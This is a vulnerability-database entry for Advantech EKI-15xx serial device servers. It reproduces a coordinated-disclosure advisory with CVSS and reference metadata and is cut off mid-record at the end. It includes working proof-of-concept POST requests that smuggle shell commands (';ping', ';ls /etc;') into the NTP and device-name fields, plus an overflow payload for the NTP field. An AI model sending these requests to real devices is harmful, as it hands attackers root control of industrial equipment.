var-202305-0474
Vulnerability from variot
Advantech EKI-1524, EKI-1522, EKI-1521 devices through 1.21 are affected by a Stack-based Buffer Overflow vulnerability, which can be triggered by authenticated users via a crafted POST request. Advantech Co., Ltd. eki-1521 firmware, eki-1522 firmware, eki-1524 An out-of-bounds write vulnerability exists in firmware.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. CyberDanube Security Research 20230511-0
title| Multiple Vulnerabilities
product| EKI-1524-CE series, EKI-1522 series, EKI-1521 series
vulnerable version| 1.21 fixed version| 1.24 CVE number| CVE-2023-2573, CVE-2023-2574, CVE-2023-2575 impact| High homepage| https://advantech.com found| 2023-03-06 by| S. Dietz, T. Weber (Office Vienna) | CyberDanube Security Research | Vienna | St. P\xf6lten | | https://www.cyberdanube.com
Vendor description
"Advantech\x92s corporate vision is to enable an intelligent planet. The company is a global leader in the fields of IoT intelligent systems and embedded platforms. To embrace the trends of IoT, big data, and artificial intelligence, Advantech promotes IoT hardware and software solutions with the Edge Intelligence WISE-PaaS core to assist business partners and clients in connecting their industrial chains. Advantech is also working with business partners to co-create business ecosystems that accelerate the goal of industrial intelligence."
Source: https://www.advantech.com/en/about
Vulnerable versions
EKI-1524-CE series / 1.21 EKI-1522-CE series / 1.21 EKI-1521-CE series / 1.21
Vulnerability overview
1) Authenticated Command Injection (CVE-2023-2573, CVE-2023-2574) The web server of the device is prone to two authenticated command injections. These allow an attacker to gain full access to the underlying operating system of the device. This device class can be attached to legacy systems via RS-232, RS-422 or RS-485. Such peripheral systems can be affected by attacks to the device from malicious actors.
2) Buffer Overflow (CVE-2023-2575) The web server is prone to a buffer overflow, triggered due to missing input lenght validation in the NTP input field. According to the vendor, the NTP server string is expected to be 64 bytes long, which is not correctly checked.
Proof of Concept
1) Authenticated Command Injection The web server is prone to two authenticated command injections via POST parameters. The following proof-of-concepts show how to inject commands to the system which gets executed with root permissions in the background:
1.1) Blind Authenticated Command Injection in NTP Server Name (CVE-2023-2573) The following POST request executes the command \x93;ping 10.0.0.1\x94 on the system: =============================================================================== POST /cgi-bin/index.cgi?func=setsys HTTP/1.1 Host: 172.16.0.100 Accept: / Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 541 Origin: http://172.16.0.100 Connection: close Referer: http://172.16.0.100/cgi-bin/index.cgi
web_en=1&resume_idx=0&sys_name=test&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=6&min_name=45&sec_name=18&tz=UTC12%3A0&ntp_name=;ping+10.0.0.1;&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80
=============================================================================== It is also possible to execute this command without any interceptor proxy by enclose it with ";", which results in the string \x93;ping 10.0.0.1;\x94.
1.2) Blind Authenticated Command Injection in Device Name (CVE-2023-2574) The device name can also be abused for command injection. It is only executed on reboot, but this can also be done via the device\x92s web-interface. A POST request which injects the command \x93;ls /etc;\x94 can be looks like the following: =============================================================================== POST /cgi-bin/index.cgi?func=setsys HTTP/1.1 Host: 172.16.0.100 Accept: / Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 541 Origin: http://172.16.0.100 Connection: close Referer: http://172.16.0.100/cgi-bin/index.cgi
web_en=1&resume_idx=0&sys_name=;ls+/etc;&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=6&min_name=45&sec_name=18&tz=UTC12%3A0&ntp_name=&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80
=============================================================================== Such command can also be injected by setting the device name to \x93;ls /etc;\x94.
2) Buffer Overflow (CVE-2023-2575) The following POST request can be used to trigger a buffer overflow vulnerability in the web server: =============================================================================== POST /cgi-bin/index.cgi?func=setsys HTTP/1.1 Host: 172.16.0.97 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: / Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 823 Origin: http://172.16.0.97 Connection: close Referer: http://172.16.0.97/cgi-bin/index.cgi
web_en=1&resume_idx=0&sys_name=test&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=7&min_name=2&sec_name=52&tz=UTC12%3A0&ntp_name=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80
The serial port of the device provides error messages, which already indicate
that the stack has been corrupted:
/ # *** Error in ./index.cgi': free(): invalid next size (normal): 0x00069828 ***
*** Error in
./index.cgi': malloc(): memory corruption: 0x00069898 ***
Furthermore, the forked child processes seem to remain in the process list as zombies - three buffer overflows were triggered in this case: / # ps PID USER COMMAND [...] 935 root ./index.cgi func=setsys 959 root ./index.cgi func=setsys 983 root ./index.cgi func=setsys [...]
The vulnerabilities were manually verified on an emulated device by using the MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).
Solution
Update the product to the latest available firmware version.
Workaround
None
Recommendation
CyberDanube recommends Advantech customers to upgrade the firmware to the latest version available.
Contact Timeline
2023-03-08: Contacting Advantech via Service Request form; No answer. 2023-03-13: Contacting Advantech via Czech PSIRT (security@advantech.cz); Vendor confirmed vulnerabilities and will provide a fixed firmware until 2023-05-13. Asked vendor for affected models; Vendo responded that EKI-1524/1522/1521 series are affected. 2023-03-20: Asked for status update. 2023-03-21: Vendor responded that the firmware is currently under testing. 2023-03-31: Vendor statet, that firmware is done and sent it via email; Found additional issues and responded to vendor. 2023-04-01: Vendor asked multiple question. 2023-04-02: Responded to vendor, answered questions and asked for a call; Vendor agreed. 2023-04-04: Set date for a call to 2023-04-10. 2023-04-10: Clarified further issues. 2023-04-23: Vendor sent notification that a beta release of the firmware is available. 2023-05-02: Vendor sent notification that a new firmware release is online. 2023-05-04: Asked vendor if the advisory can be published earlier than agreed. 2023-05-08: Asked for status update; Vendor confirmed that all vulnerabilities have been fixed. 2023-05-11: Coordinated release of security advisory.
Web: https://www.cyberdanube.com Twitter: https://twitter.com/cyberdanube Mail: research at cyberdanube dot com
EOF S. Dietz, T. Weber / @2023
Show details on source website{ "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" } }, "@id": "https://www.variotdbs.pl/vuln/VAR-202305-0474", "affected_products": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" }, "@id": "https://www.variotdbs.pl/ref/sources" } }, "data": [ { "model": "eki-1524", "scope": "lte", "trust": 1.0, "vendor": "advantech", "version": "1.21" }, { "model": "eki-1521", "scope": "lte", "trust": 1.0, "vendor": "advantech", "version": "1.21" }, { "model": "eki-1522", "scope": "lte", "trust": 1.0, "vendor": "advantech", "version": "1.21" }, { "model": "eki-1521", "scope": null, "trust": 0.8, "vendor": "\u30a2\u30c9\u30d0\u30f3\u30c6\u30c3\u30af\u682a\u5f0f\u4f1a\u793e", "version": null }, { "model": "eki-1522", "scope": null, "trust": 0.8, "vendor": "\u30a2\u30c9\u30d0\u30f3\u30c6\u30c3\u30af\u682a\u5f0f\u4f1a\u793e", "version": null }, { "model": "eki-1524", "scope": null, "trust": 0.8, "vendor": "\u30a2\u30c9\u30d0\u30f3\u30c6\u30c3\u30af\u682a\u5f0f\u4f1a\u793e", "version": null } ], "sources": [ { "db": "JVNDB", "id": "JVNDB-2023-009954" }, { "db": "NVD", "id": "CVE-2023-2575" } ] }, "configurations": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/configurations#", "children": { "@container": "@list" }, "cpe_match": { "@container": "@list" }, "data": { "@container": "@list" }, "nodes": { "@container": "@list" } }, "data": [ { "CVE_data_version": "4.0", "nodes": [ { "children": [ { "children": [], "cpe_match": [ { "cpe23Uri": "cpe:2.3:o:advantech:eki-1521_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "versionEndIncluding": "1.21", "vulnerable": true } ], "operator": "OR" }, { "children": [], "cpe_match": [ { "cpe23Uri": "cpe:2.3:h:advantech:eki-1521:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false } ], "operator": "OR" } ], "cpe_match": [], "operator": "AND" }, { "children": [ { "children": [], "cpe_match": [ { "cpe23Uri": "cpe:2.3:o:advantech:eki-1522_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "versionEndIncluding": "1.21", "vulnerable": true } ], "operator": "OR" }, { "children": [], "cpe_match": [ { "cpe23Uri": "cpe:2.3:h:advantech:eki-1522:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false } ], "operator": "OR" } ], "cpe_match": [], "operator": "AND" }, { "children": [ { "children": [], "cpe_match": [ { "cpe23Uri": "cpe:2.3:o:advantech:eki-1524_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "versionEndIncluding": "1.21", "vulnerable": true } ], "operator": "OR" }, { "children": [], "cpe_match": [ { "cpe23Uri": "cpe:2.3:h:advantech:eki-1524:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false } ], "operator": "OR" } ], "cpe_match": [], "operator": "AND" } ] } ], "sources": [ { "db": "NVD", "id": "CVE-2023-2575" } ] }, "credits": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "T. Weber", "sources": [ { "db": "CNNVD", "id": "CNNVD-202305-381" } ], "trust": 0.6 }, "cve": "CVE-2023-2575", "cvss": { "@context": { "cvssV2": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" }, "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2" }, "cvssV3": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" }, "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/" }, "severity": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" }, "@id": "https://www.variotdbs.pl/ref/cvss/severity" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" }, "@id": "https://www.variotdbs.pl/ref/sources" } }, "data": [ { "cvssV2": [], "cvssV3": [ { "attackComplexity": "LOW", "attackVector": "NETWORK", "author": "NVD", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "exploitabilityScore": 2.8, "impactScore": 5.9, "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "trust": 2.0, "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, { "attackComplexity": "Low", "attackVector": "Network", "author": "NVD", "availabilityImpact": "High", "baseScore": 8.8, "baseSeverity": "High", "confidentialityImpact": "High", "exploitabilityScore": null, "id": "CVE-2023-2575", "impactScore": null, "integrityImpact": "High", "privilegesRequired": "Low", "scope": "Unchanged", "trust": 0.8, "userInteraction": "None", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" } ], "severity": [ { "author": "NVD", "id": "CVE-2023-2575", "trust": 1.8, "value": "HIGH" }, { "author": "office@cyberdanube.com", "id": "CVE-2023-2575", "trust": 1.0, "value": "HIGH" }, { "author": "CNNVD", "id": "CNNVD-202305-381", "trust": 0.6, "value": "HIGH" } ] } ], "sources": [ { "db": "JVNDB", "id": "JVNDB-2023-009954" }, { "db": "NVD", "id": "CVE-2023-2575" }, { "db": "NVD", "id": "CVE-2023-2575" }, { "db": "CNNVD", "id": "CNNVD-202305-381" } ] }, "description": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "Advantech EKI-1524, EKI-1522, EKI-1521 devices through 1.21 are affected by a\u00a0Stack-based Buffer Overflow vulnerability, which can be triggered by authenticated\u00a0users via a crafted POST request. Advantech Co., Ltd. eki-1521 firmware, eki-1522 firmware, eki-1524 An out-of-bounds write vulnerability exists in firmware.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. CyberDanube Security Research 20230511-0\n-------------------------------------------------------------------------------\n title| Multiple Vulnerabilities\n product| EKI-1524-CE series, EKI-1522 series, EKI-1521 series\n vulnerable version| 1.21\n fixed version| 1.24\n CVE number| CVE-2023-2573, CVE-2023-2574, CVE-2023-2575\n impact| High\n homepage| https://advantech.com\n found| 2023-03-06\n by| S. Dietz, T. Weber (Office Vienna)\n | CyberDanube Security Research\n | Vienna | St. P\\xf6lten\n |\n | https://www.cyberdanube.com\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\n\"Advantech\\x92s corporate vision is to enable an intelligent planet. The company\nis a global leader in the fields of IoT intelligent systems and embedded\nplatforms. To embrace the trends of IoT, big data, and artificial intelligence,\nAdvantech promotes IoT hardware and software solutions with the Edge\nIntelligence WISE-PaaS core to assist business partners and clients in\nconnecting their industrial chains. Advantech is also working with business\npartners to co-create business ecosystems that accelerate the goal of\nindustrial intelligence.\"\n\nSource: https://www.advantech.com/en/about\n\n\nVulnerable versions\n-------------------------------------------------------------------------------\nEKI-1524-CE series / 1.21\nEKI-1522-CE series / 1.21\nEKI-1521-CE series / 1.21\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Authenticated Command Injection (CVE-2023-2573, CVE-2023-2574)\nThe web server of the device is prone to two authenticated command injections. \nThese allow an attacker to gain full access to the underlying operating system\nof the device. This device class can be attached to legacy systems via RS-232,\nRS-422 or RS-485. Such peripheral systems can be affected by attacks to the\ndevice from malicious actors. \n\n2) Buffer Overflow (CVE-2023-2575)\nThe web server is prone to a buffer overflow, triggered due to missing input\nlenght validation in the NTP input field. According to the vendor, the NTP\nserver string is expected to be 64 bytes long, which is not correctly checked. \n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Authenticated Command Injection\nThe web server is prone to two authenticated command injections via POST\nparameters. The following proof-of-concepts show how to inject commands to the\nsystem which gets executed with root permissions in the background:\n\n1.1) Blind Authenticated Command Injection in NTP Server Name (CVE-2023-2573)\nThe following POST request executes the command \\x93;ping 10.0.0.1\\x94 on the system:\n===============================================================================\nPOST /cgi-bin/index.cgi?func=setsys HTTP/1.1\nHost: 172.16.0.100\nAccept: */*\nAccept-Language: de,en-US;q=0.7,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nContent-Length: 541\nOrigin: http://172.16.0.100\nConnection: close\nReferer: http://172.16.0.100/cgi-bin/index.cgi\n\nweb_en=1\u0026resume_idx=0\u0026sys_name=test\u0026sys_desc=\u0026ignr_devid=0\u0026tel_en=1\u0026snmp_en=1\u0026year_name=2023\u0026mon_name=5\u0026day_name=8\u0026hour_name=6\u0026min_name=45\u0026sec_name=18\u0026tz=UTC12%3A0\u0026ntp_name=;ping+10.0.0.1;\u0026dayligt_saving_time=0\u0026start_week=1\u0026start_day=0\u0026start_month=1\u0026start_time=\u0026end_week=1\u0026end_day=0\u0026end_month=1\u0026end_time=\u0026dst_timezone=\u0026slave_port=\u0026redt_num=%25REDTNUM%25\u0026redtID%25REDTNUM%25=%25REDTID%25\u0026priPath%25REDTNUM%25=%25PRIPATH%25\u0026secPath%25REDTNUM%25=%25SECPATH%25\u0026interface=0\u0026virtual_ip=%25VIRTGW_IP%25\u0026id=%25VIRTGW_ID%25\u0026priority=80\n\n===============================================================================\nIt is also possible to execute this command without any interceptor proxy by\nenclose it with \";\", which results in the string \\x93;ping 10.0.0.1;\\x94. \n\n1.2) Blind Authenticated Command Injection in Device Name (CVE-2023-2574)\nThe device name can also be abused for command injection. It is only executed\non reboot, but this can also be done via the device\\x92s web-interface. A POST\nrequest which injects the command \\x93;ls /etc;\\x94 can be looks like the following:\n===============================================================================\nPOST /cgi-bin/index.cgi?func=setsys HTTP/1.1\nHost: 172.16.0.100\nAccept: */*\nAccept-Language: de,en-US;q=0.7,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nContent-Length: 541\nOrigin: http://172.16.0.100\nConnection: close\nReferer: http://172.16.0.100/cgi-bin/index.cgi\n\nweb_en=1\u0026resume_idx=0\u0026sys_name=;ls+/etc;\u0026sys_desc=\u0026ignr_devid=0\u0026tel_en=1\u0026snmp_en=1\u0026year_name=2023\u0026mon_name=5\u0026day_name=8\u0026hour_name=6\u0026min_name=45\u0026sec_name=18\u0026tz=UTC12%3A0\u0026ntp_name=\u0026dayligt_saving_time=0\u0026start_week=1\u0026start_day=0\u0026start_month=1\u0026start_time=\u0026end_week=1\u0026end_day=0\u0026end_month=1\u0026end_time=\u0026dst_timezone=\u0026slave_port=\u0026redt_num=%25REDTNUM%25\u0026redtID%25REDTNUM%25=%25REDTID%25\u0026priPath%25REDTNUM%25=%25PRIPATH%25\u0026secPath%25REDTNUM%25=%25SECPATH%25\u0026interface=0\u0026virtual_ip=%25VIRTGW_IP%25\u0026id=%25VIRTGW_ID%25\u0026priority=80\n\n===============================================================================\nSuch command can also be injected by setting the device name to \\x93;ls /etc;\\x94. \n\n\n2) Buffer Overflow (CVE-2023-2575)\nThe following POST request can be used to trigger a buffer overflow\nvulnerability in the web server:\n===============================================================================\nPOST /cgi-bin/index.cgi?func=setsys HTTP/1.1\nHost: 172.16.0.97\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: */*\nAccept-Language: de,en-US;q=0.7,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nContent-Length: 823\nOrigin: http://172.16.0.97\nConnection: close\nReferer: http://172.16.0.97/cgi-bin/index.cgi\n\nweb_en=1\u0026resume_idx=0\u0026sys_name=test\u0026sys_desc=\u0026ignr_devid=0\u0026tel_en=1\u0026snmp_en=1\u0026year_name=2023\u0026mon_name=5\u0026day_name=8\u0026hour_name=7\u0026min_name=2\u0026sec_name=52\u0026tz=UTC12%3A0\u0026ntp_name=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\u0026dayligt_saving_time=0\u0026start_week=1\u0026start_day=0\u0026start_month=1\u0026start_time=\u0026end_week=1\u0026end_day=0\u0026end_month=1\u0026end_time=\u0026dst_timezone=\u0026slave_port=\u0026redt_num=%25REDTNUM%25\u0026redtID%25REDTNUM%25=%25REDTID%25\u0026priPath%25REDTNUM%25=%25PRIPATH%25\u0026secPath%25REDTNUM%25=%25SECPATH%25\u0026interface=0\u0026virtual_ip=%25VIRTGW_IP%25\u0026id=%25VIRTGW_ID%25\u0026priority=80\n===============================================================================\n\nThe serial port of the device provides error messages, which already indicate\nthat the stack has been corrupted:\n/ # *** Error in `./index.cgi\u0027: free(): invalid next size (normal): 0x00069828 ***\n*** Error in `./index.cgi\u0027: malloc(): memory corruption: 0x00069898 ***\n\nFurthermore, the forked child processes seem to remain in the process list as\nzombies - three buffer overflows were triggered in this case:\n/ # ps\nPID USER COMMAND\n[...]\n 935 root ./index.cgi func=setsys\n 959 root ./index.cgi func=setsys\n 983 root ./index.cgi func=setsys\n[...]\n\n\nThe vulnerabilities were manually verified on an emulated device by using the\nMEDUSA scalable firmware runtime (https://medusa.cyberdanube.com). \n\n\nSolution\n-------------------------------------------------------------------------------\nUpdate the product to the latest available firmware version. \n\n\nWorkaround\n-------------------------------------------------------------------------------\nNone\n\n\nRecommendation\n-------------------------------------------------------------------------------\nCyberDanube recommends Advantech customers to upgrade the firmware to the\nlatest version available. \n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2023-03-08: Contacting Advantech via Service Request form; No answer. \n2023-03-13: Contacting Advantech via Czech PSIRT (security@advantech.cz);\n Vendor confirmed vulnerabilities and will provide a fixed firmware\n until 2023-05-13. Asked vendor for affected models; Vendo\n responded that EKI-1524/1522/1521 series are affected. \n2023-03-20: Asked for status update. \n2023-03-21: Vendor responded that the firmware is currently under testing. \n2023-03-31: Vendor statet, that firmware is done and sent it via email; Found\n additional issues and responded to vendor. \n2023-04-01: Vendor asked multiple question. \n2023-04-02: Responded to vendor, answered questions and asked for a call;\n Vendor agreed. \n2023-04-04: Set date for a call to 2023-04-10. \n2023-04-10: Clarified further issues. \n2023-04-23: Vendor sent notification that a beta release of the firmware is\n available. \n2023-05-02: Vendor sent notification that a new firmware release is online. \n2023-05-04: Asked vendor if the advisory can be published earlier than agreed. \n2023-05-08: Asked for status update; Vendor confirmed that all vulnerabilities\n have been fixed. \n2023-05-11: Coordinated release of security advisory. \n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF S. Dietz, T. Weber / @2023\n\n\n", "sources": [ { "db": "NVD", "id": "CVE-2023-2575" }, { "db": "JVNDB", "id": "JVNDB-2023-009954" }, { "db": "VULMON", "id": "CVE-2023-2575" }, { "db": "PACKETSTORM", "id": "172307" } ], "trust": 1.8 }, "external_ids": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "db": "NVD", "id": "CVE-2023-2575", "trust": 3.4 }, { "db": "PACKETSTORM", "id": "172307", "trust": 2.5 }, { "db": "JVNDB", "id": "JVNDB-2023-009954", "trust": 0.8 }, { "db": "CXSECURITY", "id": "WLB-2023050038", "trust": 0.6 }, { "db": "CNNVD", "id": "CNNVD-202305-381", "trust": 0.6 }, { "db": "VULMON", "id": "CVE-2023-2575", "trust": 0.1 } ], "sources": [ { "db": "VULMON", "id": "CVE-2023-2575" }, { "db": "JVNDB", "id": "JVNDB-2023-009954" }, { "db": "PACKETSTORM", "id": "172307" }, { "db": "NVD", "id": "CVE-2023-2575" }, { "db": "CNNVD", "id": "CNNVD-202305-381" } ] }, "id": "VAR-202305-0474", "iot": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": true, "sources": [ { "db": "VARIoT devices database", "id": null } ], "trust": 1.0 }, "last_update_date": "2023-12-18T11:54:15.829000Z", "patch": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "title": "Advantech Buffer error vulnerability fix", "trust": 0.6, "url": "http://123.124.177.30/web/xxk/bdxqbyid.tag?id=237364" } ], "sources": [ { "db": "CNNVD", "id": "CNNVD-202305-381" } ] }, "problemtype_data": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "problemtype": "CWE-787", "trust": 1.0 }, { "problemtype": "Out-of-bounds writing (CWE-787) [NVD evaluation ]", "trust": 0.8 } ], "sources": [ { "db": "JVNDB", "id": "JVNDB-2023-009954" }, { "db": "NVD", "id": "CVE-2023-2575" } ] }, "references": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "trust": 2.5, "url": "https://www.advantech.com/en/support/details/firmware?id=1-1j9bed3" }, { "trust": 2.5, "url": "https://www.advantech.com/en/support/details/firmware?id=1-1j9bect" }, { "trust": 2.5, "url": "https://www.advantech.com/en/support/details/firmware?id=1-1j9bebl" }, { "trust": 2.4, "url": "http://packetstormsecurity.com/files/172307/advantech-eki-15xx-series-command-injection-buffer-overflow.html" }, { "trust": 2.4, "url": "http://seclists.org/fulldisclosure/2023/may/4" }, { "trust": 2.4, "url": "https://cyberdanube.com/en/multiple-vulnerabilities-in-advantech-eki-15xx-series/" }, { "trust": 0.9, "url": "https://nvd.nist.gov/vuln/detail/cve-2023-2575" }, { "trust": 0.6, "url": "https://cxsecurity.com/issue/wlb-2023050038" }, { "trust": 0.6, "url": "https://cxsecurity.com/cveshow/cve-2023-2575/" }, { "trust": 0.1, "url": "https://nvd.nist.gov" }, { "trust": 0.1, "url": "http://172.16.0.100/cgi-bin/index.cgi" }, { "trust": 0.1, "url": "http://172.16.0.97" }, { "trust": 0.1, "url": "https://nvd.nist.gov/vuln/detail/cve-2023-2573" }, { "trust": 0.1, "url": "https://nvd.nist.gov/vuln/detail/cve-2023-2574" }, { "trust": 0.1, "url": "https://www.advantech.com/en/about" }, { "trust": 0.1, "url": "https://advantech.com" }, { "trust": 0.1, "url": "https://medusa.cyberdanube.com)." }, { "trust": 0.1, "url": "https://twitter.com/cyberdanube" }, { "trust": 0.1, "url": "http://172.16.0.100" }, { "trust": 0.1, "url": "https://www.cyberdanube.com" }, { "trust": 0.1, "url": "http://172.16.0.97/cgi-bin/index.cgi" } ], "sources": [ { "db": "VULMON", "id": "CVE-2023-2575" }, { "db": "JVNDB", "id": "JVNDB-2023-009954" }, { "db": "PACKETSTORM", "id": "172307" }, { "db": "NVD", "id": "CVE-2023-2575" }, { "db": "CNNVD", "id": "CNNVD-202305-381" } ] }, "sources": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } }, "data": [ { "db": "VULMON", "id": "CVE-2023-2575" }, { "db": "JVNDB", "id": "JVNDB-2023-009954" }, { "db": "PACKETSTORM", "id": "172307" }, { "db": "NVD", "id": "CVE-2023-2575" }, { "db": "CNNVD", "id": "CNNVD-202305-381" } ] }, "sources_release_date": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } }, "data": [ { "date": "2023-05-08T00:00:00", "db": "VULMON", "id": "CVE-2023-2575" }, { "date": 